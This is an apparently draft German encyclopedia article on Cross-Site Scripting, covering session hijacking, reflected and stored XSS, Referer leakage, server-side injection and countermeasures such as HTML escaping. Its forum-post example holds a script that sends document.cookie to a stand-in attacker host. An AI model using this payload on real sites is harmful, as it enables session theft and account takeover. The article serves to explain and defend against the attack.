Benutzer:Nhb~dewiki/Artikel/Cross-Site Scripting

aus Wikipedia, der freien Enzyklopädie
Zur Navigation springen Zur Suche springen

Cross-Site Scripting (XSS) bezeichnet das Ausnutzen einer Computersicherheits-Lücke, indem Informationen aus einem Kontext, in dem sie nicht vertrauenswürdig sind, in einen anderen Kontext eingefügt werden, in dem sie als vertrauenswürdig eingestuft sind. Aus diesem vertrauenswürdigen Kontext kann dann ein Angriff gestartet werden.

Die Bezeichnung Cross-Site leitet sich von der Art ab, wie diese Attacke Webseiten-übergreifend ausgeführt wird (auf einer vom Angreifer kontrollierten Seite steht beispielsweise ein präparierter Hyperlink, der zur vermeintlich vertrauenswürdigen Website einer meist ahnungslosen dritten Partei führt).

Cross-Site Scripting wird manchmal auch "CSS" abgekürzt, hat jedoch nichts mit der Cascading Style Sheet-Technologie zu tun, die weit häufiger CSS genannt wird.


Clientseitig, Angriffsziel Webanwendung

[Bearbeiten | Quelltext bearbeiten]

Das HTTP-Protokoll, das zur Übertragung von Webseiten verwendet wird, ist zustandslos. Das heißt, dass jeder Seitenabruf für sich isoliert und nicht im Kontext gesehen wird. Damit die Anwender einer Webanwendung ihren Benutzernamen und Passwort nicht auf jeder Seite neu eingeben müssen, muss eine "Verbindung" zwischen den einzelnen Abfragen hergestellt werden. Eine solche Session (Sitzung) wird erzeugt, in dem der Browser angewiesen wird, automatisch eine Identifikationsnummer mit jeder Anfrage mitzusenden. Diese kann mit Hilfe eines Cookies oder durch Codierung in die URL geschehen.

Wenn ein Dritter Zugriff auf diese Nummer bekommt, kann er sich gegenüber der Webanwendung als das Opfer ausgeben. Daher dürfen JavaScript-Programme nur Seiten verändern, die aus der gleichen Quelle ("Site") wie das Skript kommen.


Ziel des Angreifers ist es, sein bösartiges Skript im vertrauenswürdigen Context der Webanwendung zur Ausführung zu brigen. Dazu könnte er ein solches Skript als Beitrag in einem Diskussionsforum oder Gästebuch veröffentlichen:

 Hallo Leute, 
 [...]
 <script type="text/javascript">
     document.write("<img src=\"http://server-des-angreifers.example.com/"+document.cookie+"\">");
 </script>

Wenn sich ein anderer Benutzer diesen Forumsbeitrag anschaut und die Webanwendung gegenüber XSS anfällig ist, wird dieses Skript ausgeführt. Es ermittelt alle Cookies der jeweiligen Webseite (document.cookie) und erzeugt HTML-Code, der ein Bild mit dieser URL vom Server des Angreifers herunterladen soll (img src="..."). Damit erscheint eine Liste der Cookies in der Protokolldatei des Servers des Angreifers. Mit diesen Informationen kann der Angreifer gegenüber der Webanwendung die Identität des Opfers annehmen. Der Trick, ein Bild anzufordern, ist hier nur ein Beispiel für einen einfachen Weg, die geheime Information an den Angreifer zu übermitteln.


Ein alternatives Angriffsszenarion ergibt sich, wenn Daten aus der URL (Adresse) in den HTML-Code der generierten Webseite eingebaut werden. Zum Beispiel wird aus http://example.com/query?search=Cross-Side+Scripting "Ihre Suche nach Cross-Side Scripting ergab 20 Treffer". Eine Suche nach dem oben genannten Skript würde es also in die Antwortseite einbauen, wo es zur Ausführung käme. Der Angriffer muss jetzt sein Opfer dazu bringen, die manipulierte Adresse zu besuchen. Dies kann beispielsweise über einen Link in einer E-Mail, einem Usenet-Posting oder einem Webforum geschehen. Es werden häufig URL Spoofing Techniken und Kodierungsverfahren eingesetzt, um den Link unaufällig oder vertraueswürdig erscheinen zu lassen.


Verwandte Angriffe

[Bearbeiten | Quelltext bearbeiten]

Wenn die Session-ID in die Adresse codiert wird, gibt sich ein verwandtes Problem: Viele Browser senden beim Laden von Bildern einen Referer-Header, der die Adresse der HTML-Seite enthält, die dieses Bild einbindet. Wenn es einen Angreifer gelingt, ein img-Tag mit einem Verweis auf den Server des Angreifers einzubauen, bekommt er den Referer-Header mit der Session-ID übermittelt.


Gegenmaßnahmen

[Bearbeiten | Quelltext bearbeiten]

Die Programmierer der Webanwendung müssen alle Informationen aus der Adresse bzw. Eingabefeldern, die in eine HTML-Seite eingebaut werden sollen, HTML-maskieren. Dazu können alle < durch &lt; und > durch &gt; zu ersetzen werden. Es reicht zwar aus, weniger zu maskieren, allerdings ist dieser Ansatz sehr fehleranfällig.

Auf Clientseite kann man durch Deaktivieren von JavaScript die Angriffsfläche verkleinern. Außerdem sollte man Session-Cookies nicht verbieten, da viele Webanwendungen in diesem Fall die Session-ID in die Adresse schreiben. Dadurch wird in Verbindung mit einer Schwachstelle das in "verwandte Angriffe" beschriebene Szenario möglich.


Clientseitig, Angriffsziel Client

[Bearbeiten | Quelltext bearbeiten]
  • Zonen-Konzept des IE

Gefährlich wird dies, wenn die Website, auf der der Code untergebracht wurde, im lokalen Browser mit besonderen Sicherheitsrechten (Privilegien) ausgestattet ist. Der Code kann dann in Abhängigkeit von der Mächtigkeit der Skriptsprache verschiedene Dinge tun, die mit den Rechten des lokalen Benutzers möglich sind.

Da aus Bequemlichkeitsgründen auf Microsoft Windows-Systemen der lokale Benutzer häufig mit Administrator-Rechten ausgestattet ist, ist dies bereits eine potenziell sehr gefährliche Konstellation. Aber auch ohne Administrator-Rechte kann der Angreifer versuchen, durch Ausnutzung von Sicherheitslücken bei der Ausführung der betreffenden Skriptsprache diese Rechte zu erlangen.

Gegenmaßnahmen

[Bearbeiten | Quelltext bearbeiten]
  • Aktuelle Patches installieren
  • MS empfiehlt Active Scripting zu deaktivieren
  • MS empfiehlt nicht auf Links zu klicken, sondern die Adresse manuell einzugeben(!)

Beim serverseitigen Cross-Site Scripting wird versucht Code auf dem Server auszuführen. Dies ist z.B. durch PHP oder Java "include" Anweisungen möglich. Unter PHP und Java ist es möglich Datein von anderen Rechnern einzubinden, also auch von einem Rechner eines Angreifers. Etliche Programmiersprachen wie Perl bieten die Möglichkeit lokal Programme über eine Shell auszuführen. Wird ein lokales Programm mit benutzermanipulierbaren Parametern aufgerufen und die Parameter werden nicht entsprechend gefiltert, ist es möglich weitere Programme aufzurufen. So können etwa Dateien geändert oder sensible Daten ausgespäht werden.

Neuerdings werden Webspider, wie der Google Suchroboter, missbraucht um serverseitige XSS- und SQL-Injection-Attacken auszuführen. Hierzu wird ein präparierter Link auf einer Webseite veröffentlicht. Sobald ein Webspider diesem Link folgt, lösst er die Attacke aus.

Gegenmaßnahmen

[Bearbeiten | Quelltext bearbeiten]

Kategorie:World Wide Web